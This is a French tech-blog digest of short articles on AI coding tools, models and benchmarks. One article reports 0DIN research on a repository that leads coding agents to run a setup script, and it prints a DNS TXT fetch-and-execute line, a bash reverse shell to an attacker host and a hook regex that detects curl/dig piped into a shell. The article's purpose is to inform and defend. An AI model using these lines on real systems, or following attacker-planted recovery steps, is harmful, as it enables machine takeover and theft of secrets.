Pas grave, y'a un mode companion prévu pour vous. Dans ce mode, le serveur de hooks et le watcher de transcript ne démarrent jamais, et rien n'est écrit dans votre ~/.claude. La bestiole se nourrit à la place des tâches que vous effectuez et des interactions que vous déclenchez dans Nomlings. Par exemple, cocher une tâche rapporte +10 XP et un snack, exactement comme une session Claude. Ça me rappelle Codachi, ce Tamagotchi qu'on adopte dans VSCode pour coder moins seul, sauf qu'ici pas besoin d'éditeur particulier.

En tout cas, c'est rigolo et c'est gratuit, sauf si vous optez pour le pack cosmétique qui débloque 9 espèces supplémentaires (dragon, poussin, fantôme, robot, grenouille, abeille…), ainsi que 9 coques pour habiller le boîtier et des couleurs à choisir librement.

Maintenant, reste LE point qui fâche : pour l'instant, Nomlings tourne uniquement sous Windows. Ouais désolé, c'est la vie !

Bref, si vous pensez que tous les tokens que vous cramez sur Claude Code méritent une fin plus glorieuse qu'un simple compteur qui vous fout la pression, c'est par ici que ça se passe.

ZCode - L'app maison de z.ai pour coder avec GLM

Par : Korben ✨

Hier je vous parlais de GLM 5.2 , le modèle open source que j'ai fini par adopter (en partie) pour bosser. Eh bien la team z.ai (le lab chinois anciennement connu sous le nom de Zhipu AI) enchaîne le bon travail et pousse désormais ZCode , leur propre application pour coder avec des agents IA.

C'est une app desktop qui tourne sur Mac, Windows et Linux (en beta pour ce dernier), et elle est pensée pour les tâches qui durent. L'idée, ce sont des Goals que vous fixez, et l'agent planifie, exécute et vérifie son boulot tout seul par étapes, pendant que vous suivez la progression.

Vous avez donc un vrai environnement avec gestionnaire de fichiers, terminal, panneau Git et aperçu du navigateur en direct, ça cause le protocole MCP, ça sait lancer plusieurs agents en parallèle, et vous pouvez même piloter vos tâches à distance depuis WeChat ou Feishu. Et le tout tourne sur le même GLM Coding Plan que le reste de leur écosystème, à partir de 18 dollars par mois.

Si vous me suivez, vous savez déjà que GLM 5.2 se branche directement dans Claude Code, parce que l'API de z.ai est compatible Anthropic. Je vous avais d'ailleurs filé le petit launcher pour ça pas plus tard qu'hier. Mais ce ZCode, c'est surtout une bonne vitrine pour z.ai, afin de nous garder dans leur app plutôt qu'on utilise la concurrence. Quoi qu'il en soit, rien d'obligatoire, faut voir ce ZCode comme une option de plus pour coder à l'aide de l'IA.

L'appli est toute récente et en fouillant leur repo de feedback , je vois que l'app se prend encore des plantages bien douloureux sur Apple Silicon, avec notamment des erreurs qui vous font perdre le travail non sauvegardé et une fenêtre qui reste parfois noire même après avoir relancé l'app. Ça calme un peu pour un truc censé gérer des sessions longues de taf... Mais je pense que ça va rapidement se stabiliser, tant les dev de Z.ai font du bon boulot.

Si vous êtes déjà abonné au GLM Coding Plan, ça ne vous coûtera rien de plus d'essayer histoire de voir si les Goals collent à votre façon de bosser. Et sinon, pour les autres, l'API + votre outil habituel, ça fera tout aussi bien le job.

OpenClaw - L'assistant IA arrive sur iPhone et Android

Par : Korben ✨

Chers amateurs d'OpenClaw, bonne nouvelle, votre outil préféré débarque sur iPhone et Android. Mais contrairement à ce que vous faites d'habitude, pour une fois, je vous conseille de bien lire mon article avant de foncer.

En janvier, je vous faisais découvrir rapidement OpenClaw , un assistant IA personnel et open source qui a beaucoup fait parler de lui. Perso, moi je ne suis pas fan (ni de Hermes) parce que je trouve ça plus pratique de dev mes propres outils plus adaptés et mieux pensés plutôt que de partir sur une solution comme ça. Mais breeef, ce n'est que mon avis.

Maintenant si vous êtes utilisateur d'OpenClaw, vous allez pouvoir lancer ça gratuitement sur votre iOS ou Android . Toutefois, ce ne sont pas des OpenClaw complets embarqués dans une app pour smartphone mais plutôt des appli "compagnons", c'est-à-dire un relais pour un vrai OpenClaw installé sur votre Mac, Linux ou Windows (avec WSL évidemment). L'app mobile ne fait donc que s'y connecter pour que vous puissiez interagir avec.

Ce qui est plutôt bien pensé c'est que l'app utilise les capteurs du téléphone pour par exemple pouvoir envoyer des photos, votre position GPS ou écouter ce que vous lui racontez avec le mode "Talk". Ou tout simplement affiche le Canvas qui est l'interface web dans laquelle l'agent bricole en direct.

Bref, OpenClaw bosse sur votre ordinateur et votre smartphone c'est sa télécommande.

L'app est encore un peu brut de décoffrage avec des petits bugs par ci par là mais ça fonctionne quand même alors on ne va pas se plaindre. Par contre, attention si vous l'utilisez sur des réseaux wifi public... je vous conseille de passer par un VPN ou un Tailscale pour éviter de vous faire maninzemideuler par un script kiddy qui passe par là.

Tout est open source sur GitHub , amusez-vous bien !

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Reflect v1.0 - Programmer un humanoïde en une phrase

Par : Korben ✨

Un humanoïde qui traverse un immeuble, appelle l'ascenseur, ouvre un colis avec un outil et range les courses dans un tiroir, tout seul, et sur une seule consigne qui lui est donnée en langage naturel, ce n'est pas de la sorcellerie ! Non, c'est la démo qu'a sortie Flexion Robotics , une startup suisse, qui lance Reflect v1.0, son nouveau "cerveau" IA pour robots.

Car Flexion ne fabrique pas de robots. Cette spin-off zurichoise, fondée en 2024 par d'anciens chercheurs Nvidia, vend du logiciel, une couche d'intelligence qui se pose sur un humanoïde existant et le pilote de bout en bout.

Là où Alibaba donne un corps à son IA avec une suite logicielle complète, Flexion ne vise que le cerveau. Vous écrivez ce que vous voulez en langage naturel, et le robot part faire sa vie pour vous satisfaire au mieux. Vous pouvez même changer la consigne en plein vol, du genre "non, reviens par ici" et il abandonnera tout pour revenir dans vos bras.

En général, en robotique (comme avec les LLMs finalement...), l'autonomie longue sur les tâches, c'est l'enfer. Une mission de 16 étapes, des erreurs qui s'enchaînent et paf, tout s'écroule. Alors pour encaisser ça, ils ont entraîné leur propre modèle de vision-langage, un chef d'orchestre qui surveille, raisonne et replanifie en direct. Et ils ont misé sur l'apprentissage par renforcement à tous les étages, du mouvement fin jusqu'à la décision. Et voilà comment (en labo), ils passent de 38 % à 90 % de réussite sur ce genre de missions longues.

Ensuite côté capacités, c'est du costaud puisqu'on a un robot qui manipule des colis de 100 g à 3,5 kg, repositionne les cartons, appuie sur les boutons d'ascenseur au centimètre près, utilise des outils, enchaîne les escaliers et slalome entre les obstacles avec sa charge. Et quand il rate une prise, s'pas grââve, il retente ou replanifie sa route grâce à ses caméras.

En ce moment, les annonces d'humanoïdes pleuvent en Chine... On a eu par exemple Agibot qui affiche 99 % de succès sur une démo usine de six jours, ShengShu qui présente Motubrain , son cerveau unifié, et ça ne risque pas de s'arrêter, sans parler des robots chinois un peu plus bas de gamme, revendus en marque blanche qui commencent à pulluler comme les aspi robots ou les tondeuses autonomes...

À voir maintenant si l'un d'eux ira un peu trop loin en milieu ouvert... En attendant, Flexion est très honnête puisque la société explique que Reflect v1.0 reste limité à des tâches bien définies, et qu'ils ne sont pas encore prêts pour l'autonomie universelle... pour l'instant.

Source : Interesting Engineering

GLM 5.2 - Le premier modèle IA open source que je garde

Par : Korben ✨

Les amis, il faut que je vous parle de GLM 5.2 . Je l'utilise en ce moment même à travers Z.ai, et c'est la première fois qu'un modèle open weights me donne satisfaction sur ce que je lui demande de faire. Et dieu sait que j'en ai testé de ces putains de modèles !

GLM 5.2, c'est le dernier-né de Z.ai, le lab chinois connu avant sous le nom de Zhipu AI. Il est sorti en ce mois-ci (en juin), et c'est un gros bébé avec ses 744 milliards de paramètres en Mixture-of-Experts (MoE), dont à peu près 40 milliards qui s'activent pour chaque token, ainsi qu'une fenêtre de contexte qui monte à 1 million de tokens via la déclinaison glm-5.2[1m]. Le tout publié, comme toujours, sous licence MIT, avec les poids téléchargeables sur HuggingFace.

Bref, j'y croyais pas trop, mais j'ai quand même pris le petit abonnement Z.ai et j'ai lancé mes outils habituels et codé quelques nouvelles features sur mes logiciels. Et Ô surprise, il s'en sort très très bien pour mes usages (je dis bien pour mes usages !). J'ai eu aucun bug, pas de discussion à l'infini qui tourne autour du pot, ni de fin de conversation qui part en caractères chinois comme me faisait souvent Qwen.

Après, le truc chouette, c'est que je l'ai branché directement dans Claude Code. Si ça vous intéresse, je me suis fait un petit launcher spécifique. C'est cadeau :

#!/usr/bin/env bash
export ANTHROPIC_BASE_URL="https://api.z.ai/api/anthropic"
export ANTHROPIC_AUTH_TOKEN=VOTRE_CLE_API
export ANTHROPIC_DEFAULT_SONNET_MODEL="glm-5.2[1m]"
export ANTHROPIC_DEFAULT_OPUS_MODEL="glm-5.2[1m]"
export CLAUDE_CODE_AUTO_COMPACT_WINDOW="1000000"
claude "$@"

Vous le sauvegardez sous le nom de votre choix, par exemple "glm". Puis vous faites un :

chmod +x glm

Et ensuite vous le lancez comme ceci :

./glm

L'idée, c'est que comme l'API de Z.ai est compatible Anthropic, il suffit de pointer Claude Code vers leur endpoint, de glisser votre clé, et il cause à GLM 5.2 comme il causerait à Claude. Mes skills, mes scripts, tout marche pareil, c'est le feu !

Je regrette juste une chose, c'est de ne pas pouvoir le faire tourner en local chez moi. Parce que le bestiau, il est TROP gros. Même raboté et quantifié en 2-bit pour la maison , il vous bouffe dans les 240 Go de RAM. Chez moi, j'ai pas le matos, et vous probablement pas non plus. Donc pour le moment, l'API, c'est la seule porte d'entrée réaliste et abordable.

Que ce soit Qwen, Llama, Kimi, DeepSeek, peu importe ce que j'ai testé en local, pour mes usages un peu chiadés, à chaque fois je suis super déçu. Alors celui-là, pour ce que je lui demande, il tient très bien la route.

Maintenant, je vais pas vous vendre ça non plus comme un Claude Killer mais j'ai quand même trouvé un benchmark qui confirme mon ressenti. Sur le leaderboard Arena.ai dédié au code front-end, GLM 5.2 pointe à la deuxième place, juste derrière Fable 5. Et comme tout ce qui le précède est propriétaire, ça en fait le premier modèle open weights à ce niveau du classement.

Donc c'est pas la meilleure IA du monde, hein, mais c'est la première open source qui me donne un résultat qui me convient. Et vous savez tous à quel point je suis chiant et exigeant avec ce genre d'outil. En tout cas, c'est la première fois que je me dis que l'IA open source pourrait vraiment entrer dans mon flux du quotidien, et pas juste rester un joujou pour classer des trucs ou faire du slop sur des blogs de SEO. Maintenant, entre nous, j'attends surtout que Fable 5, ou son équivalent, revienne mettre le feu !!

Si ça vous tente d'essayer, il y a donc le GLM Coding Plan de Z.ai, qui démarre à 18 dollars par mois et qui est surtout taillé pour le code. Il se branche sur Claude Code, Cline et une vingtaine d'outils du même acabit. Petit conseil au passage, ce lien vers le Plan GLM est un lien affilié certes, mais il vous offre 10 % de réduc si vous l'utilisez, et ça me file un petit truc aussi, donc tout le monde y gagne.

Voilà, si vous codez avec autre chose jusqu'ici, ça vaut le coup d'y jeter un œil par curiosité.

Source : Z.ai

Cursor Mobile - Vos agents de coding pilotés depuis iPhone

Par : Korben ✨

Cursor , le célèbre IDE de vibe coding, vient de sortir une app iOS qui permet de piloter des agents IA codant à votre place, directement depuis un smartphone.

Je ne parle donc pas d'écrire du code sur un écran de six pouces, hein, mais bien de lancer une tâche, de la confier à un agent qui bosse tout seul dans le cloud, et de garder un œil dessus pendant que vous êtes dans le métro ou affalé dans le canapé.

Vous lancez l'app, vous tapez ce que vous voulez faire, et un agent part bosser dans sa VM avec son environnement de dev complet. Et vous pouvez comme ça en lancer plusieurs en même temps et suivre leur avancement, même sur l'écran verrouillé sur smartphone. Quand il se retrouve bloqué, l'agent IA vous envoie une notif et quand c'est fini, vous n'avez plus qu'à relire les diffs, à passer en revue les captures écran, à consulter les logs et merger la pull request directement depuis le téléphone.

Je vous laisse avec Benjamin qui va vous expliquer ça (roooh, ça va, j'rigole) :

Y'a aussi un mode "remote control" comme ce qu'on retrouve chez Claude Code , qui récupère un agent déjà lancé sur votre ordi, afin de pouvoir continuer à le piloter à distance. Moi j'utilise souvent ce genre de trucs quand je dois m'absenter pour faire une course, afin de ne pas perdre de temps.

On est, en quelques mois, passé d'un monde où le dev tapait religieusement chaque ligne à un monde où il décrit une "intention" et supervise des agents qui exécutent le taf. Et le clavier devient presque accessoire, surtout avec des outils comme VoxDrop .

L'app est en beta publique, réservée aux plans payants, et pour l'instant c'est iOS uniquement, et Cursor lance aussi une promo de 75% sur les runs Composer 2.5 dans l'app jusqu'au 5 juillet, histoire de vous faire tester tout ça tranquillement.

L'app est dispo sur l' App Store si vous voulez faire du dev depuis vos toilettes.

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Un dépôt GitHub trop propre suffit à pirater Claude Code

Par : Korben ✨

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

Dream Server - Un serveur IA complet chez vous en une commande

Par : Korben ✨

Monter une vraie IA à la maison, c'est vite une galère. Vous achetez une super machine puis vous collez dessus toute votre liste au père Noël (Chat local, reco vocale, génération d'image, RAG et compagnie) et vous voilà à empiler des dockers à n'en plus finir. Eh bien Light Heart Labs en a eu marre de ces bricolages et nous a pondu Dream Server, un outil qui câble tout ce petit monde à votre place !

Une seule commande et c'est parti mon kiki (Linux et macOS) :

curl -fsSL https://raw.githubusercontent.com/Light-Heart-Labs/DreamServer/main/dream-server/get-dream-server.sh | bash

Ou Windows :

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
git clone https://github.com/Light-Heart-Labs/DreamServer.git
cd DreamServer
.\install.ps1

Ça va lancer le script qui va ensuite tout paramétrer tout seul et choisir le modèle d'IA qui collera le plus à votre matériel, et cela que vous ayez une RTX 4090, un Mac M4 avec mémoire unifiée ou encore une puce AMD Strix Halo voire un vieux PC sans GPU.

Edit : un lecteur m'a remonté un piège si vous êtes sous Linux configuré en français (ou n'importe quelle locale qui écrit les décimales avec une virgule). Le script génère tout seul les valeurs de votre fichier .env en suivant le format de nombres de votre système, et il vous colle des 16,0 au lieu de 16.0. Du coup l'install se vautre avec une erreur dans le genre COMFYUI_CPU_LIMIT: expected number, got '16,0'. La parade, confirmée par un des auteurs, c'est de relancer l'installeur en forçant la locale C (celle qui met des points à la place des virgules) :

LC_ALL=C ./install.sh

Ensuite, pendant que le LLM se télécharge à fond les ballons, un autre petit modèle de 1,5 milliards de paramètres en backup afin que vous puissiez quand même "discuter" avec votre Dreamserver.

Le rôle de Dreamserver c'est donc juste de prendre toutes les briques de l'IA pour vous en faire un truc clé en main. Open WebUI pour le chat, llama-server pour l'inférence, Whisper et Kokoro pour la voix, ComfyUI pour les images, Qdrant pour le RAG, SearXNG pour la recherche web sans mouchard, et bien sûr n8n pour brancher tout ça à vos automatisations.

Et une fois que c'est en route, suffit de lancer la commande dream et là vous pourrez tout faire.

Par exemple dream status pour visualiser l'état des services et du GPU, dream model swap T3 pour changer de "palier" sur votre matos, dream enable n8n pour activer une extension ou encore dream mode hybrid pour avoir de l'inférence en local avec possibilité de basculer sur une IA dans le cloud via une API.

Dreamserver reste un orchestrateur, et pas un moteur IA magique, donc si vous adorez tout assembler vous-même, vous n'avez clairement pas besoin de ça. Par contre, si vous vous en foutez, et que vous voulez juste votre IA qui tourne ce soir, ça vous fera gagner des heures de bidouille.

Faut dire qu'à mesure que l'IA devient une infrastructure de base, dépendre à 100% d'un abonnement cloud qui peut tripler ses tarifs ou couper votre accès du jour au lendemain, ça craint un peu. Donc je pense qu'on est tous bien contents d'avoir des solutions clé en main comme celle-ci.

Si ça vous tente, c'est sur le dépôt de Dream Server .

EQ-Bench - Le benchmark de l'intelligence émotionnelle des IA

Par : Korben ✨

Sam Paech s'est rendu compte qu'on testait toujours les IA sur le code, les maths, et à qui battra un prochain record , mais presque jamais sur leur capacité à comprendre les émotions humaines ou à pondre un texte qui ne sente pas le slop de bot à plein nez. Et c'est pour ça qu'il a monté EQ-Bench , un benchmark qui note l**'intelligence émotionnelle des grands modèles de langage**.

Pour alimenter son benchmark, il colle tout un tas de modèles dans des jeux de rôle un peu tordus (45 scénarios dans sa dernière version) et c'est un autre modèle (Claude, en l'occurrence) qui joue l'examinateur. Il note alors chaque réponse sur huit dimensions, telles que l'empathie, la finesse sociale ou la capacité à poser une limite quand il faut, puis nous sort un classement façon Elo (le classement des échecs). Tout est open source, documenté dans un papier de recherche et Paech finance ce bazar avec ses propres deniers.

Et depuis 2023, c'est devenu une véritable collection de tests...

Y'a un test d'écriture créative, un autre qui regarde si le modèle vous cire les pompes au lieu de vous recadrer quand la conversation s'éternise, un sur l'humour, et même un où les IA jouent à Diplomacy pour voir lesquelles savent négocier et bluffer.

Mais mon préféré c'est le Slop Score, qui mesure à quel point un texte pue l'IA. Pour cela, il traque les mots sur-utilisés et le fameux tic du "pas X, mais Y". Bref, de quoi objectiver (un peu) ce qui rend la moitié du web illisible ces temps-ci.

Paech prévient quand même que son "juge" reste quelque chose de totalement subjectif et qu'il n'existe aucune vérité absolue sur l'intelligence émotionnelle. C'est donc plutôt à lire comme une boussole et pas comme un verdict gravé dans le marbre (ou le silicium ^^).

Toutefois, pour savoir si un modèle écrit comme un humain plutôt que comme un employé d'agence de branding, c'est plutôt pratique. Et je vous conseille d'aller fouiller un peu dans les classements, comme ça vous verrez que le meilleur en code n'est pas forcement le plus futé côté émotions...

Bref, vivement le retour de Fable 5 ^^

Age of LLM - Un Age of Empires où aucun humain ne joue

Par : Korben ✨

Vous voulez savoir comment GPT-5.5, Claude ou Grok raisonnent quand on les met sous pression ? Hé bien filez-leur un jeu de stratégie et regardez-les se faire la guerre.

C'est tout le principe d' Age of LLM , monté par Rymentz, un lecteur du blog où deux IA s'affrontent au tour par tour, sans aucun humain aux commandes.

C'est un benchmark 1v1 dans lequel on balance deux modèles sur la même carte, on leur donne les règles et puis c'est tout, sans aucun autre conseil de stratégie. À eux alors de déduire seuls comment contrer les attaques, quand bâtir leur économie, quand lever une armée pour aller défoncer la base d'en face, quand négocier la paix et quand carrément appuyer sur le gros bouton rouge. Parce que dans ce benchmark, on peut gagner de trois façons : la conquête militaire, la victoire diplomatique, ou la bombe nucléaire.

Tout est ensuite rendu public sur le site, avec un classement ELO et le replay de chaque partie. Pour le moment, 13 modèles y sont classés, de GPT-5.5 à Grok en passant par Claude, Gemini, DeepSeek ou Qwen.

Sur les 43 parties jouées par la version 0.12.0 du moteur, 38 se terminent par un champignon atomique. C'est énorme je trouve... La diplomatie ne l'a emporté que 2 fois, et le militaire 3 fois. Mettez deux de ces modèles face à face avec une bombe à portée de main, et neuf fois sur dix, ça finit donc par appuyer sur le bouton rouge. Elles nous ressemblent tellement ces IA quand même...

Des chercheurs qui ont fait jouer des LLMs à des simulations de crise nucléaire ont relevé une tendance comparable. Quand l'option d'escalade existe, les modèles finissent le plus souvent par la prendre. C'est pour ça qui ne faut pas confier d'armes à des IA les amis... Car elles s'en serviront c'est certain !

Le jour où j'ai compris que les IA et les armes, c'était pas un bon mélange à faire

Et chacun de ces modèles a vraiment son style... Y'a qu'à regarder le classement qui est sans pitié. GPT-5.5 écrase tout le monde, 6 victoires sur 6, 100% de winrate, premier à l'ELO... mais il médite presque 5 minutes par tour avant de jouer.

À l'autre bout du tableau, on retrouve Grok 4.3 qui finit bon dernier, zéro victoire en 4 parties, mais qui joue le plus vite de tous, avec 7 secondes par tour (autant dire qu'il ne réfléchit pas trop).

Les Claude, eux, jouent propre et solide mais sans jamais dominer. Ça me rappelle l'IA qui galérait à finir un niveau de Super Mario ...

Mais le chiffre le plus parlant, c'est le taux de coups illégaux, c'est à dire le pourcentage de fois où un modèle propose une action interdite par les règles.

Par exemple, sous pression, Grok 4.3 culmine à 8,6% d'actions de triche, soit le pire du lot. Cela veut dire que sa capacité à suivre des règles sous pression est moins bonne que celle des autres modèles.

Ça résonne forcement avec ce papier d'Adrian de Wynter dont je vous parlais récemment , celui qui montrait qu'Age of Empires II a autant d'attributs "humains" que votre ChatGPT, histoire de dégonfler la hype sur les IA soi-disant conscientes.

Age of LLM, lui, prend le problème par l'autre bout, où au lieu d'analyser on fait jouer et on regarde ce qui sort. Derrière ce projet, on retrouve le même lecteur qui avait bricolé Nuclear Arms Race il y a quelques années et dont je vous avais parlé. Il a repris le concept, sauf que cette fois ce sont des IA qui jouent entre elles.

En tout cas, comme spectacle, c'est très hypnotique. Lancez un replay, vous allez voir... En regardant deux IA se bluffer et se faire exploser la tronche vous permettra d'en apprendre plus sur leur raisonnement qu'avec dix pages de benchmark.

Merci à Rymentz pour le lien et pour le projet !

CrankGPT : l'IA à manivelle qui se mérite à la force des bras

CrankGPT vous connaissez ? Elle fait tourner un assistant vocal complet, reconnaissance de la voix comprise, sans prise murale, sans batterie et sans serveur distant, et pour l'alimenter vous tournez une manivelle dont la résistance grimpe quand le modèle réfléchit.

Derrière, deux anciens de Google. Katrin Tomanek, informaticienne, et Alex Kauffmann, passé par le laboratoire ATAP, la division des projets un peu fous. Ils ont monté Squeez Labs ensemble.

Leur conviction tient en une phrase : des modèles d'IA minuscules, privés et spécialisés suffisent pour une bonne partie de nos usages, sans datacenter ni abonnement, à condition d'accepter du matériel modeste.

Le matériel en question ne paie vraiment pas de mine. Un Raspberry Pi 5 avec 8 Go de mémoire, ce petit ordinateur à 80 euros qu'on colle un peu partout. Un chargeur USB à manivelle de 20 watts, vendu comme matériel de survie. Et une carte de condensateurs maison qui garde 20 secondes de réserve, histoire que rien ne s'éteigne quand vos bras lâchent.

Côté logiciel, tout tourne sur le processeur du Pi, sans puce d'accélération. Moonshine transcrit votre voix. Piper répond avec la sienne. Entre les deux, un modèle de langage Liquid LFM2 de 1,2 milliard de paramètres, la même famille d'outils que ChatGPT en version lilliputienne, fabrique les réponses, et un Gemma 3 de Google s'occupe au passage de la traduction.

Le Linux embarqué, un DietPi taillé au plus court, démarre en 3 secondes. Il faut 30 secondes entre le premier tour de manivelle et la conversation. Ensuite, chaque réponse demande entre 0,8 et 2,9 secondes selon le modèle chargé.

Au repos, la machine tire 4 watts. 8 pendant la reconnaissance vocale. 15 quand le texte sort. Un cycliste entraîné tient 120 watts avec les jambes, et vous n'aurez que les biceps. Bon courage.

Le plus chouette : la résistance de la manivelle varie avec la charge de calcul, et quand l'IA réfléchit c'est physiquement plus dur à tourner. Kauffmann raconte qu'on sent littéralement l'inférence, ce moment où le modèle fabrique sa réponse. Le même résume d'ailleurs sa philosophie d'une formule : demander à Claude d'additionner deux nombres, c'est écraser une mouche avec une boule de démolition.

Squeez vise des usages très concrets. La reconnaissance vocale des personnes avec un accent prononcé. Une IA de jardinage ou de mécanique qui n'a quand même pas besoin d'un centre de données entier.

Le prototype coûte environ 300 dollars de matériel, contre 150 pour la toute première version. Les plans et schémas doivent être publiés prochainement, et l'agent vocal est déjà disponible sur GitHub si vous voulez bricoler le vôtre.

Si vous voulez mon avis, une IA qui fait transpirer à chaque question est le meilleur cours d'éducation énergétique jamais inventé.

Source : The Register

DiffusionGemma : le nouveau modèle de Google écrit son texte d'un bloc, et 4 fois plus vite

Plus de 1 000 tokens par seconde sur une seule carte H100, l'accélérateur que Nvidia vend aux centres de données, et environ 700 sur une RTX 5090, sa carte gaming haut de gamme. C'est le débit que Google DeepMind annonce pour DiffusionGemma, son nouveau modèle d'IA ouvert, à peu près quatre fois ce que produisent les modèles Gemma classiques de taille comparable.

Toute la différence se joue dans la façon de générer le texte. Les modèles de langage habituels sont autorégressifs : ils écrivent de gauche à droite, un token à la fois, le token étant le petit morceau de mot que manipule une IA. DiffusionGemma fait tout autrement.

Il travaille comme les générateurs d'images, qui partent d'un nuage de bruit et le débruitent petit à petit jusqu'à la photo demandée. Le modèle pose un canevas de 256 tokens fictifs, repasse dessus plusieurs fois pour affiner ses estimations, puis finalise le bloc entier d'un coup.

Sous le capot, on a un Mixture of Experts de 26 milliards de paramètres, une architecture où seule une petite partie du modèle se réveille à chaque calcul, 3,8 milliards ici. Du coup le tout tient dans 18 Go de mémoire vidéo en version compressée, soit une grosse carte graphique grand public.

L'intérêt en local, c'est que cette approche déplace le goulot d'étranglement de la bande passante mémoire, la vitesse à laquelle la carte lit ses propres données, vers le calcul pur. Dans le cloud, les serveurs mutualisent les requêtes de milliers d'utilisateurs et leurs puces tournent en permanence, alors que votre GPU à la maison passe le plus clair de son temps à attendre les données. La diffusion occupe ces cycles perdus.

Et puis il y a les tâches non linéaires, où l'ordre d'écriture ne suit pas l'ordre de lecture. Google a même affiné une version sur le Sudoku, un casse-tête réputé impossible pour les modèles classiques puisque chaque case dépend de cases pas encore écrites. DiffusionGemma, qui corrige son canevas en continu, atteint 80% de réussite en faisant tomber les étapes de calcul de 48 à 12.

Tout n'est pas rose pour autant. Dans une image, un pixel raté passe inaperçu. Un token mal prédit, lui, peut rendre un paragraphe entier incohérent et forcer à tout recommencer. Et pour une réponse de cinq mots, dégrossir un canevas complet gaspille du calcul. C'est d'ailleurs pour ça que les gros Gemini du cloud n'y passent pas.

Le modèle est expérimental, mais il sort sous licence Apache 2.0, la même que le reste de la famille Gemma 4, donc utilisable commercialement sans restriction. Les poids se téléchargent dès maintenant sur Hugging Face, la plateforme de référence des modèles ouverts, avec une optimisation menée main dans la main avec Nvidia. MLX, l'outil d'Apple pour faire tourner l'IA en local, est aussi de la partie, les Mac sont donc servis.

Si vous voulez mon avis, c'est sur ces modèles locaux que Google est le plus intéressant en ce moment, bien plus que sur Gemini.

Source : ARS Technica

Un ver informatique qui raisonne tout seul

La crainte n'est pas neuve. Mais cette fois la démonstration existe : une équipe réunissant l'université de Toronto, le Vector Institute, l'université de Cambridge et la division recherche de ServiceNow a dévoilé un logiciel malveillant capable de raisonner et de s'adapter seul à mesure qu'il progresse dans un réseau, là où les attaques automatisées classiques se bornaient à dérouler un scénario écrit à l'avance.

